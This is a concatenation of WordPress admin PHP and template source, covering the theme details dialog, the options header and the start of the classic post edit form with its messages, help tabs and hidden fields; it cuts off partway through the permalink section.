				/* translators: Hidden accessibility text. */
				_e( 'Show previous theme' );
				?>
			</span></button>
			<button class="right dashicons dashicons-no"><span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Show next theme' );
				?>
			</span></button>
			<button class="close dashicons dashicons-no"><span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Close details dialog' );
				?>
			</span></button>
		</div>
		<div class="theme-about wp-clearfix">
			<div class="theme-screenshots">
			<# if ( data.screenshot[0] ) { #>
				<div class="screenshot"><img src="{{ data.screenshot[0] }}?ver={{ data.version }}" alt="" /></div>
			<# } else { #>
				<div class="screenshot blank"></div>
			<# } #>
			</div>

			<div class="theme-info">
				<# if ( data.active ) { #>
					<span class="current-label"><?php _e( 'Active Theme' ); ?></span>
				<# } #>
				<h2 class="theme-name">{{{ data.name }}}<span class="theme-version">
					<?php
					/* translators: %s: Theme version. */
					printf( __( 'Version: %s' ), '{{ data.version }}' );
					?>
				</span></h2>
				<p class="theme-author">
					<?php
					/* translators: %s: Theme author link. */
					printf( __( 'By %s' ), '{{{ data.authorAndUri }}}' );
					?>
				</p>

				<# if ( ! data.compatibleWP || ! data.compatiblePHP ) { #>
					<div class="notice notice-error notice-alt notice-large"><p>
						<# if ( ! data.compatibleWP && ! data.compatiblePHP ) { #>
							<?php
							_e( 'This theme does not work with your versions of WordPress and PHP.' );
							if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
								printf(
									/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
									' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
									self_admin_url( 'update-core.php' ),
									esc_url( wp_get_update_php_url() )
								);
								wp_update_php_annotation( '</p><p><em>', '</em>' );
							} elseif ( current_user_can( 'update_core' ) ) {
								printf(
									/* translators: %s: URL to WordPress Updates screen. */
									' ' . __( '<a href="%s">Please update WordPress</a>.' ),
									self_admin_url( 'update-core.php' )
								);
							} elseif ( current_user_can( 'update_php' ) ) {
								printf(
									/* translators: %s: URL to Update PHP page. */
									' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
									esc_url( wp_get_update_php_url() )
								);
								wp_update_php_annotation( '</p><p><em>', '</em>' );
							}
							?>
						<# } else if ( ! data.compatibleWP ) { #>
							<?php
							_e( 'This theme does not work with your version of WordPress.' );
							if ( current_user_can( 'update_core' ) ) {
								printf(
									/* translators: %s: URL to WordPress Updates screen. */
									' ' . __( '<a href="%s">Please update WordPress</a>.' ),
									self_admin_url( 'update-core.php' )
								);
							}
							?>
						<# } else if ( ! data.compatiblePHP ) { #>
							<?php
							_e( 'This theme does not work with your version of PHP.' );
							if ( current_user_can( 'update_php' ) ) {
								printf(
									/* translators: %s: URL to Update PHP page. */
									' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
									esc_url( wp_get_update_php_url() )
								);
								wp_update_php_annotation( '</p><p><em>', '</em>' );
							}
							?>
						<# } #>
					</p></div>
				<# } #>

				<# if ( data.hasUpdate ) { #>
					<# if ( data.updateResponse.compatibleWP && data.updateResponse.compatiblePHP ) { #>
						<div class="notice notice-warning notice-alt notice-large">
							<h3 class="notice-title"><?php _e( 'Update Available' ); ?></h3>
							{{{ data.update }}}
						</div>
					<# } else { #>
						<div class="notice notice-error notice-alt notice-large">
							<h3 class="notice-title"><?php _e( 'Update Incompatible' ); ?></h3>
							<p>
								<# if ( ! data.updateResponse.compatibleWP && ! data.updateResponse.compatiblePHP ) { #>
									<?php
									printf(
										/* translators: %s: Theme name. */
										__( 'There is a new version of %s available, but it does not work with your versions of WordPress and PHP.' ),
										'{{{ data.name }}}'
									);
									if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
										printf(
											/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
											' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
											self_admin_url( 'update-core.php' ),
											esc_url( wp_get_update_php_url() )
										);
										wp_update_php_annotation( '</p><p><em>', '</em>' );
									} elseif ( current_user_can( 'update_core' ) ) {
										printf(
											/* translators: %s: URL to WordPress Updates screen. */
											' ' . __( '<a href="%s">Please update WordPress</a>.' ),
											self_admin_url( 'update-core.php' )
										);
									} elseif ( current_user_can( 'update_php' ) ) {
										printf(
											/* translators: %s: URL to Update PHP page. */
											' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
											esc_url( wp_get_update_php_url() )
										);
										wp_update_php_annotation( '</p><p><em>', '</em>' );
									}
									?>
								<# } else if ( ! data.updateResponse.compatibleWP ) { #>
									<?php
									printf(
										/* translators: %s: Theme name. */
										__( 'There is a new version of %s available, but it does not work with your version of WordPress.' ),
										'{{{ data.name }}}'
									);
									if ( current_user_can( 'update_core' ) ) {
										printf(
											/* translators: %s: URL to WordPress Updates screen. */
											' ' . __( '<a href="%s">Please update WordPress</a>.' ),
											self_admin_url( 'update-core.php' )
										);
									}
									?>
								<# } else if ( ! data.updateResponse.compatiblePHP ) { #>
									<?php
									printf(
										/* translators: %s: Theme name. */
										__( 'There is a new version of %s available, but it does not work with your version of PHP.' ),
										'{{{ data.name }}}'
									);
									if ( current_user_can( 'update_php' ) ) {
										printf(
											/* translators: %s: URL to Update PHP page. */
											' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
											esc_url( wp_get_update_php_url() )
										);
										wp_update_php_annotation( '</p><p><em>', '</em>' );
									}
									?>
								<# } #>
							</p>
						</div>
					<# } #>
				<# } #>

				<# if ( data.actions.autoupdate ) { #>
					<?php echo wp_theme_auto_update_setting_template(); ?>
				<# } #>

				<p class="theme-description">{{{ data.description }}}</p>

				<# if ( data.parent ) { #>
					<p class="parent-theme">
						<?php
						/* translators: %s: Theme name. */
						printf( __( 'This is a child theme of %s.' ), '<strong>{{{ data.parent }}}</strong>' );
						?>
					</p>
				<# } #>

				<# if ( data.tags ) { #>
					<p class="theme-tags"><span><?php _e( 'Tags:' ); ?></span> {{{ data.tags }}}</p>
				<# } #>
			</div>
		</div>

		<div class="theme-actions">
			<div class="active-theme">
				<a href="{{{ data.actions.customize }}}" class="button button-primary customize load-customize hide-if-no-customize"><?php _e( 'Customize' ); ?></a>
				<?php echo implode( ' ', $current_theme_actions ); ?>
			</div>
			<div class="inactive-theme">
				<# if ( data.compatibleWP && data.compatiblePHP ) { #>
					<?php
					/* translators: %s: Theme name. */
					$aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' );
					?>
					<# if ( ! data.blockTheme ) { #>
						<a href="{{{ data.actions.customize }}}" class="button button-primary load-customize hide-if-no-customize"><?php _e( 'Live Preview' ); ?></a>
					<# } #>
					<# if ( data.actions.activate ) { #>
						<a href="{{{ data.actions.activate }}}" class="button activate" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Activate' ); ?></a>
					<# } #>
				<# } else { #>
					<?php
					/* translators: %s: Theme name. */
					$aria_label = sprintf( _x( 'Cannot Activate %s', 'theme' ), '{{ data.name }}' );
					?>
					<# if ( ! data.blockTheme ) { #>
						<a class="button button-primary hide-if-no-customize disabled"><?php _e( 'Live Preview' ); ?></a>
					<# } #>
					<# if ( data.actions.activate ) { #>
						<a class="button disabled" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _ex( 'Cannot Activate', 'theme' ); ?></a>
					<# } #>
				<# } #>
			</div>

			<# if ( ! data.active && data.actions['delete'] ) { #>
				<?php
				/* translators: %s: Theme name. */
				$aria_label = sprintf( _x( 'Delete %s', 'theme' ), '{{ data.name }}' );
				?>
				<a href="{{{ data.actions['delete'] }}}" class="button delete-theme" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Delete' ); ?></a>
			<# } #>
		</div>
	</div>
</script>

<?php
wp_print_request_filesystem_credentials_modal();
wp_print_admin_notice_templates();
wp_print_update_row_templates();

wp_localize_script(
	'updates',
	'_wpUpdatesItemCounts',
	array(
		'totals' => wp_get_update_data(),
	)
);

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * WordPress Options Header.
 *
 * Displays updated message, if updated variable is part of the URL query.
 *
 * @package WordPress
 * @subpackage Administration
 */

wp_reset_vars( array( 'action' ) );

if ( isset( $_GET['updated'] ) && isset( $_GET['page'] ) ) {
	// For back-compat with plugins that don't use the Settings API and just set updated=1 in the redirect.
	add_settings_error( 'general', 'settings_updated', __( 'Settings saved.' ), 'success' );
}

settings_errors();
<?php
/**
 * Post advanced form for inclusion in the administration panels.
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * @global string       $post_type
 * @global WP_Post_Type $post_type_object
 * @global WP_Post      $post             Global post object.
 */
global $post_type, $post_type_object, $post;

// Flag that we're not loading the block editor.
$current_screen = get_current_screen();
$current_screen->is_block_editor( false );

if ( is_multisite() ) {
	add_action( 'admin_footer', '_admin_notice_post_locked' );
} else {
	$check_users = get_users(
		array(
			'fields' => 'ID',
			'number' => 2,
		)
	);

	if ( count( $check_users ) > 1 ) {
		add_action( 'admin_footer', '_admin_notice_post_locked' );
	}

	unset( $check_users );
}

wp_enqueue_script( 'post' );

$_wp_editor_expand   = false;
$_content_editor_dfw = false;

if ( post_type_supports( $post_type, 'editor' )
	&& ! wp_is_mobile()
	&& ! ( $is_IE && preg_match( '/MSIE [5678]/', $_SERVER['HTTP_USER_AGENT'] ) )
) {
	/**
	 * Filters whether to enable the 'expand' functionality in the post editor.
	 *
	 * @since 4.0.0
	 * @since 4.1.0 Added the `$post_type` parameter.
	 *
	 * @param bool   $expand    Whether to enable the 'expand' functionality. Default true.
	 * @param string $post_type Post type.
	 */
	if ( apply_filters( 'wp_editor_expand', true, $post_type ) ) {
		wp_enqueue_script( 'editor-expand' );
		$_content_editor_dfw = true;
		$_wp_editor_expand   = ( 'on' === get_user_setting( 'editor_expand', 'on' ) );
	}
}

if ( wp_is_mobile() ) {
	wp_enqueue_script( 'jquery-touch-punch' );
}

/**
 * Post ID global
 *
 * @name $post_ID
 * @var int
 */
$post_ID = isset( $post_ID ) ? (int) $post_ID : 0;
$user_ID = isset( $user_ID ) ? (int) $user_ID : 0;
$action  = isset( $action ) ? $action : '';

if ( (int) get_option( 'page_for_posts' ) === $post->ID && empty( $post->post_content ) ) {
	add_action( 'edit_form_after_title', '_wp_posts_page_notice' );
	remove_post_type_support( $post_type, 'editor' );
}

$thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' );
if ( ! $thumbnail_support && 'attachment' === $post_type && $post->post_mime_type ) {
	if ( wp_attachment_is( 'audio', $post ) ) {
		$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
	} elseif ( wp_attachment_is( 'video', $post ) ) {
		$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
	}
}

if ( $thumbnail_support ) {
	add_thickbox();
	wp_enqueue_media( array( 'post' => $post->ID ) );
}

// Add the local autosave notice HTML.
add_action( 'admin_footer', '_local_storage_notice' );

/*
 * @todo Document the $messages array(s).
 */
$permalink = get_permalink( $post->ID );
if ( ! $permalink ) {
	$permalink = '';
}

$messages = array();

$preview_post_link_html   = '';
$scheduled_post_link_html = '';
$view_post_link_html      = '';

$preview_page_link_html   = '';
$scheduled_page_link_html = '';
$view_page_link_html      = '';

$preview_url = get_preview_post_link( $post );

$viewable = is_post_type_viewable( $post_type_object );

if ( $viewable ) {

	// Preview post link.
	$preview_post_link_html = sprintf(
		' <a target="_blank" href="%1$s">%2$s</a>',
		esc_url( $preview_url ),
		__( 'Preview post' )
	);

	// Scheduled post preview link.
	$scheduled_post_link_html = sprintf(
		' <a target="_blank" href="%1$s">%2$s</a>',
		esc_url( $permalink ),
		__( 'Preview post' )
	);

	// View post link.
	$view_post_link_html = sprintf(
		' <a href="%1$s">%2$s</a>',
		esc_url( $permalink ),
		__( 'View post' )
	);

	// Preview page link.
	$preview_page_link_html = sprintf(
		' <a target="_blank" href="%1$s">%2$s</a>',
		esc_url( $preview_url ),
		__( 'Preview page' )
	);

	// Scheduled page preview link.
	$scheduled_page_link_html = sprintf(
		' <a target="_blank" href="%1$s">%2$s</a>',
		esc_url( $permalink ),
		__( 'Preview page' )
	);

	// View page link.
	$view_page_link_html = sprintf(
		' <a href="%1$s">%2$s</a>',
		esc_url( $permalink ),
		__( 'View page' )
	);

}

$scheduled_date = sprintf(
	/* translators: Publish box date string. 1: Date, 2: Time. */
	__( '%1$s at %2$s' ),
	/* translators: Publish box date format, see https://www.php.net/manual/datetime.format.php */
	date_i18n( _x( 'M j, Y', 'publish box date format' ), strtotime( $post->post_date ) ),
	/* translators: Publish box time format, see https://www.php.net/manual/datetime.format.php */
	date_i18n( _x( 'H:i', 'publish box time format' ), strtotime( $post->post_date ) )
);

$messages['post']       = array(
	0  => '', // Unused. Messages start at index 1.
	1  => __( 'Post updated.' ) . $view_post_link_html,
	2  => __( 'Custom field updated.' ),
	3  => __( 'Custom field deleted.' ),
	4  => __( 'Post updated.' ),
	/* translators: %s: Date and time of the revision. */
	5  => isset( $_GET['revision'] ) ? sprintf( __( 'Post restored to revision from %s.' ), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false,
	6  => __( 'Post published.' ) . $view_post_link_html,
	7  => __( 'Post saved.' ),
	8  => __( 'Post submitted.' ) . $preview_post_link_html,
	/* translators: %s: Scheduled date for the post. */
	9  => sprintf( __( 'Post scheduled for: %s.' ), '<strong>' . $scheduled_date . '</strong>' ) . $scheduled_post_link_html,
	10 => __( 'Post draft updated.' ) . $preview_post_link_html,
);
$messages['page']       = array(
	0  => '', // Unused. Messages start at index 1.
	1  => __( 'Page updated.' ) . $view_page_link_html,
	2  => __( 'Custom field updated.' ),
	3  => __( 'Custom field deleted.' ),
	4  => __( 'Page updated.' ),
	/* translators: %s: Date and time of the revision. */
	5  => isset( $_GET['revision'] ) ? sprintf( __( 'Page restored to revision from %s.' ), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false,
	6  => __( 'Page published.' ) . $view_page_link_html,
	7  => __( 'Page saved.' ),
	8  => __( 'Page submitted.' ) . $preview_page_link_html,
	/* translators: %s: Scheduled date for the page. */
	9  => sprintf( __( 'Page scheduled for: %s.' ), '<strong>' . $scheduled_date . '</strong>' ) . $scheduled_page_link_html,
	10 => __( 'Page draft updated.' ) . $preview_page_link_html,
);
$messages['attachment'] = array_fill( 1, 10, __( 'Media file updated.' ) ); // Hack, for now.

/**
 * Filters the post updated messages.
 *
 * @since 3.0.0
 *
 * @param array[] $messages Post updated messages. For defaults see `$messages` declarations above.
 */
$messages = apply_filters( 'post_updated_messages', $messages );

$message = false;
if ( isset( $_GET['message'] ) ) {
	$_GET['message'] = absint( $_GET['message'] );
	if ( isset( $messages[ $post_type ][ $_GET['message'] ] ) ) {
		$message = $messages[ $post_type ][ $_GET['message'] ];
	} elseif ( ! isset( $messages[ $post_type ] ) && isset( $messages['post'][ $_GET['message'] ] ) ) {
		$message = $messages['post'][ $_GET['message'] ];
	}
}

$notice     = false;
$form_extra = '';
if ( 'auto-draft' === $post->post_status ) {
	if ( 'edit' === $action ) {
		$post->post_title = '';
	}
	$autosave    = false;
	$form_extra .= "<input type='hidden' id='auto_draft' name='auto_draft' value='1' />";
} else {
	$autosave = wp_get_post_autosave( $post->ID );
}

$form_action  = 'editpost';
$nonce_action = 'update-post_' . $post->ID;
$form_extra  .= "<input type='hidden' id='post_ID' name='post_ID' value='" . esc_attr( $post->ID ) . "' />";

// Detect if there exists an autosave newer than the post and if that autosave is different than the post.
if ( $autosave && mysql2date( 'U', $autosave->post_modified_gmt, false ) > mysql2date( 'U', $post->post_modified_gmt, false ) ) {
	foreach ( _wp_post_revision_fields( $post ) as $autosave_field => $_autosave_field ) {
		if ( normalize_whitespace( $autosave->$autosave_field ) !== normalize_whitespace( $post->$autosave_field ) ) {
			$notice = sprintf(
				/* translators: %s: URL to view the autosave. */
				__( 'There is an autosave of this post that is more recent than the version below. <a href="%s">View the autosave</a>' ),
				get_edit_post_link( $autosave->ID )
			);
			break;
		}
	}
	// If this autosave isn't different from the current post, begone.
	if ( ! $notice ) {
		wp_delete_post_revision( $autosave->ID );
	}
	unset( $autosave_field, $_autosave_field );
}

$post_type_object = get_post_type_object( $post_type );

// All meta boxes should be defined and added before the first do_meta_boxes() call (or potentially during the do_meta_boxes action).
require_once ABSPATH . 'wp-admin/includes/meta-boxes.php';

register_and_do_post_meta_boxes( $post );

add_screen_option(
	'layout_columns',
	array(
		'max'     => 2,
		'default' => 2,
	)
);

if ( 'post' === $post_type ) {
	$customize_display = '<p>' . __( 'The title field and the big Post Editing Area are fixed in place, but you can reposition all the other boxes using drag and drop. You can also minimize or expand them by clicking the title bar of each box. Use the Screen Options tab to unhide more boxes (Excerpt, Send Trackbacks, Custom Fields, Discussion, Slug, Author) or to choose a 1- or 2-column layout for this screen.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'customize-display',
			'title'   => __( 'Customizing This Display' ),
			'content' => $customize_display,
		)
	);

	$title_and_editor  = '<p>' . __( '<strong>Title</strong> &mdash; Enter a title for your post. After you enter a title, you&#8217;ll see the permalink below, which you can edit.' ) . '</p>';
	$title_and_editor .= '<p>' . __( '<strong>Post editor</strong> &mdash; Enter the text for your post. There are two modes of editing: Visual and Text. Choose the mode by clicking on the appropriate tab.' ) . '</p>';
	$title_and_editor .= '<p>' . __( 'Visual mode gives you an editor that is similar to a word processor. Click the Toolbar Toggle button to get a second row of controls.' ) . '</p>';
	$title_and_editor .= '<p>' . __( 'The Text mode allows you to enter HTML along with your post text. Note that &lt;p&gt; and &lt;br&gt; tags are converted to line breaks when switching to the Text editor to make it less cluttered. When you type, a single line break can be used instead of typing &lt;br&gt;, and two line breaks instead of paragraph tags. The line breaks are converted back to tags automatically.' ) . '</p>';
	$title_and_editor .= '<p>' . __( 'You can insert media files by clicking the button above the post editor and following the directions. You can align or edit images using the inline formatting toolbar available in Visual mode.' ) . '</p>';
	$title_and_editor .= '<p>' . __( 'You can enable distraction-free writing mode using the icon to the right. This feature is not available for old browsers or devices with small screens, and requires that the full-height editor be enabled in Screen Options.' ) . '</p>';
	$title_and_editor .= '<p>' . sprintf(
		/* translators: %s: Alt + F10 */
		__( 'Keyboard users: When you are working in the visual editor, you can use %s to access the toolbar.' ),
		'<kbd>Alt + F10</kbd>'
	) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'title-post-editor',
			'title'   => __( 'Title and Post Editor' ),
			'content' => $title_and_editor,
		)
	);

	get_current_screen()->set_help_sidebar(
		'<p>' . sprintf(
			/* translators: %s: URL to Press This bookmarklet. */
			__( 'You can also create posts with the <a href="%s">Press This bookmarklet</a>.' ),
			'tools.php'
		) . '</p>' .
			'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://wordpress.org/documentation/article/write-posts-classic-editor/">Documentation on Writing and Editing Posts</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
	);
} elseif ( 'page' === $post_type ) {
	$about_pages = '<p>' . __( 'Pages are similar to posts in that they have a title, body text, and associated metadata, but they are different in that they are not part of the chronological blog stream, kind of like permanent posts. Pages are not categorized or tagged, but can have a hierarchy. You can nest pages under other pages by making one the &#8220;Parent&#8221; of the other, creating a group of pages.' ) . '</p>' .
		'<p>' . __( 'Creating a Page is very similar to creating a Post, and the screens can be customized in the same way using drag and drop, the Screen Options tab, and expanding/collapsing boxes as you choose. This screen also has the distraction-free writing space, available in both the Visual and Text modes via the Fullscreen buttons. The Page editor mostly works the same as the Post editor, but there are some Page-specific features in the Page Attributes box.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'about-pages',
			'title'   => __( 'About Pages' ),
			'content' => $about_pages,
		)
	);

	get_current_screen()->set_help_sidebar(
		'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://wordpress.org/documentation/article/pages-add-new-screen/">Documentation on Adding New Pages</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/documentation/article/pages-screen/">Documentation on Editing Pages</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
	);
} elseif ( 'attachment' === $post_type ) {
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'overview',
			'title'   => __( 'Overview' ),
			'content' =>
				'<p>' . __( 'This screen allows you to edit fields for metadata in a file within the media library.' ) . '</p>' .
				'<p>' . __( 'For images only, you can click on Edit Image under the thumbnail to expand out an inline image editor with icons for cropping, rotating, or flipping the image as well as for undoing and redoing. The boxes on the right give you more options for scaling the image, for cropping it, and for cropping the thumbnail in a different way than you crop the original image. You can click on Help in those boxes to get more information.' ) . '</p>' .
				'<p>' . __( 'Note that you crop the image by clicking on it (the Crop icon is already selected) and dragging the cropping frame to select the desired part. Then click Save to retain the cropping.' ) . '</p>' .
				'<p>' . __( 'Remember to click Update to save metadata entered or changed.' ) . '</p>',
		)
	);

	get_current_screen()->set_help_sidebar(
		'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
		'<p>' . __( '<a href="https://wordpress.org/documentation/article/edit-media/">Documentation on Edit Media</a>' ) . '</p>' .
		'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
	);
}

if ( 'post' === $post_type || 'page' === $post_type ) {
	$inserting_media  = '<p>' . __( 'You can upload and insert media (images, audio, documents, etc.) by clicking the Add Media button. You can select from the images and files already uploaded to the Media Library, or upload new media to add to your page or post. To create an image gallery, select the images to add and click the &#8220;Create a new gallery&#8221; button.' ) . '</p>';
	$inserting_media .= '<p>' . __( 'You can also embed media from many popular websites including Twitter, YouTube, Flickr and others by pasting the media URL on its own line into the content of your post/page. <a href="https://wordpress.org/documentation/article/embeds/">Learn more about embeds</a>.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'inserting-media',
			'title'   => __( 'Inserting Media' ),
			'content' => $inserting_media,
		)
	);
}

if ( 'post' === $post_type ) {
	$publish_box  = '<p>' . __( 'Several boxes on this screen contain settings for how your content will be published, including:' ) . '</p>';
	$publish_box .= '<ul><li>' .
		__( '<strong>Publish</strong> &mdash; You can set the terms of publishing your post in the Publish box. For Status, Visibility, and Publish (immediately), click on the Edit link to reveal more options. Visibility includes options for password-protecting a post or making it stay at the top of your blog indefinitely (sticky). The Password protected option allows you to set an arbitrary password for each post. The Private option hides the post from everyone except editors and administrators. Publish (immediately) allows you to set a future or past date and time, so you can schedule a post to be published in the future or backdate a post.' ) .
	'</li>';

	if ( current_theme_supports( 'post-formats' ) && post_type_supports( 'post', 'post-formats' ) ) {
		$publish_box .= '<li>' . __( '<strong>Format</strong> &mdash; Post Formats designate how your theme will display a specific post. For example, you could have a <em>standard</em> blog post with a title and paragraphs, or a short <em>aside</em> that omits the title and contains a short text blurb. Your theme could enable all or some of 10 possible formats. <a href="https://wordpress.org/documentation/article/post-formats/#supported-formats">Learn more about each post format</a>.' ) . '</li>';
	}

	if ( current_theme_supports( 'post-thumbnails' ) && post_type_supports( 'post', 'thumbnail' ) ) {
		$publish_box .= '<li>' . sprintf(
			/* translators: %s: Featured image. */
			__( '<strong>%s</strong> &mdash; This allows you to associate an image with your post without inserting it. This is usually useful only if your theme makes use of the image as a post thumbnail on the home page, a custom header, etc.' ),
			esc_html( $post_type_object->labels->featured_image )
		) . '</li>';
	}

	$publish_box .= '</ul>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'publish-box',
			'title'   => __( 'Publish Settings' ),
			'content' => $publish_box,
		)
	);

	$discussion_settings  = '<p>' . __( '<strong>Send Trackbacks</strong> &mdash; Trackbacks are a way to notify legacy blog systems that you&#8217;ve linked to them. Enter the URL(s) you want to send trackbacks. If you link to other WordPress sites they&#8217;ll be notified automatically using pingbacks, and this field is unnecessary.' ) . '</p>';
	$discussion_settings .= '<p>' . __( '<strong>Discussion</strong> &mdash; You can turn comments and pings on or off, and if there are comments on the post, you can see them here and moderate them.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'discussion-settings',
			'title'   => __( 'Discussion Settings' ),
			'content' => $discussion_settings,
		)
	);
} elseif ( 'page' === $post_type ) {
	$page_attributes = '<p>' . __( '<strong>Parent</strong> &mdash; You can arrange your pages in hierarchies. For example, you could have an &#8220;About&#8221; page that has &#8220;Life Story&#8221; and &#8220;My Dog&#8221; pages under it. There are no limits to how many levels you can nest pages.' ) . '</p>' .
		'<p>' . __( '<strong>Template</strong> &mdash; Some themes have custom templates you can use for certain pages that might have additional features or custom layouts. If so, you&#8217;ll see them in this dropdown menu.' ) . '</p>' .
		'<p>' . __( '<strong>Order</strong> &mdash; Pages are usually ordered alphabetically, but you can choose your own order by entering a number (1 for first, etc.) in this field.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'page-attributes',
			'title'   => __( 'Page Attributes' ),
			'content' => $page_attributes,
		)
	);
}

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 class="wp-heading-inline">
<?php
echo esc_html( $title );
?>
</h1>

<?php
if ( isset( $post_new_file ) && current_user_can( $post_type_object->cap->create_posts ) ) {
	echo ' <a href="' . esc_url( admin_url( $post_new_file ) ) . '" class="page-title-action">' . esc_html( $post_type_object->labels->add_new ) . '</a>';
}
?>

<hr class="wp-header-end">

<?php
if ( $notice ) :
	wp_admin_notice(
		'<p id="has-newer-autosave">' . $notice . '</p>',
		array(
			'type'           => 'warning',
			'id'             => 'notice',
			'paragraph_wrap' => false,
		)
	);
endif;
if ( $message ) :
	wp_admin_notice(
		$message,
		array(
			'type'               => 'success',
			'dismissible'        => true,
			'id'                 => 'message',
			'additional_classes' => array( 'updated' ),
		)
	);
endif;

$connection_lost_message = sprintf(
	'<span class="spinner"></span> %1$s <span class="hide-if-no-sessionstorage">%2$s</span>',
	__( '<strong>Connection lost.</strong> Saving has been disabled until you are reconnected.' ),
	__( 'This post is being backed up in your browser, just in case.' )
);

wp_admin_notice(
	$connection_lost_message,
	array(
		'id'                 => 'lost-connection-notice',
		'additional_classes' => array( 'error', 'hidden' ),
	)
);
?>
<form name="post" action="post.php" method="post" id="post"
<?php
/**
 * Fires inside the post editor form tag.
 *
 * @since 3.0.0
 *
 * @param WP_Post $post Post object.
 */
do_action( 'post_edit_form_tag', $post );

$referer = wp_get_referer();
?>
>
<?php wp_nonce_field( $nonce_action ); ?>
<input type="hidden" id="user-id" name="user_ID" value="<?php echo (int) $user_ID; ?>" />
<input type="hidden" id="hiddenaction" name="action" value="<?php echo esc_attr( $form_action ); ?>" />
<input type="hidden" id="originalaction" name="originalaction" value="<?php echo esc_attr( $form_action ); ?>" />
<input type="hidden" id="post_author" name="post_author" value="<?php echo esc_attr( $post->post_author ); ?>" />
<input type="hidden" id="post_type" name="post_type" value="<?php echo esc_attr( $post_type ); ?>" />
<input type="hidden" id="original_post_status" name="original_post_status" value="<?php echo esc_attr( $post->post_status ); ?>" />
<input type="hidden" id="referredby" name="referredby" value="<?php echo $referer ? esc_url( $referer ) : ''; ?>" />
<?php if ( ! empty( $active_post_lock ) ) { ?>
<input type="hidden" id="active_post_lock" value="<?php echo esc_attr( implode( ':', $active_post_lock ) ); ?>" />
	<?php
}
if ( 'draft' !== get_post_status( $post ) ) {
	wp_original_referer_field( true, 'previous' );
}

echo $form_extra;

wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
?>

<?php
/**
 * Fires at the beginning of the edit form.
 *
 * At this point, the required hidden fields and nonces have already been output.
 *
 * @since 3.7.0
 *
 * @param WP_Post $post Post object.
 */
do_action( 'edit_form_top', $post );
?>

<div id="poststuff">
<div id="post-body" class="metabox-holder columns-<?php echo ( 1 === get_current_screen()->get_columns() ) ? '1' : '2'; ?>">
<div id="post-body-content">

<?php if ( post_type_supports( $post_type, 'title' ) ) { ?>
<div id="titlediv">
<div id="titlewrap">
	<?php
	/**
	 * Filters the title field placeholder text.
	 *
	 * @since 3.1.0
	 *
	 * @param string  $text Placeholder text. Default 'Add title'.
	 * @param WP_Post $post Post object.
	 */
	$title_placeholder = apply_filters( 'enter_title_here', __( 'Add title' ), $post );
	?>
	<label class="screen-reader-text" id="title-prompt-text" for="title"><?php echo $title_placeholder; ?></label>
	<input type="text" name="post_title" size="30" value="<?php echo esc_attr( $post->post_title ); ?>" id="title" spellcheck="true" autocomplete="off" />
</div>
	<?php
	/**
	 * Fires before the permalink field in the edit form.
	 *
	 * @since 4.1.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( 'edit_form_before_permalink', $post );
	?>
<div class="inside">
	<?php
	if ( $viewable ) :
		$sample_permalink_html = $post_type_object->public ? get_sample_permalink_html( $post->ID ) : '';

		// As of 4.4, the Get Shortlink button is hidden by default.
		if ( has_filter( 'pre_get_shortlink' ) || has_filter( 'get_shortlink' ) ) {
			$shortlink = wp_get_shortlink( $post->ID, 'post' );

			if ( ! empty( $shortlink ) && $shortlink !== $permalink && home_url( '?page_id=' . $post->ID ) !== $permalink ) {
				$sample_permalink_html .= '<input id="shortlink" type="hidden" value="' . esc_attr( $shortlink ) . '" />' .
					'<button type="button" class="button button-small" onclick="prompt(&#39;URL:&#39;, jQuery(\'#shortlink\').val());">' .
					__( 'Get Shortlink' ) .
					'</button>';
			}
		}

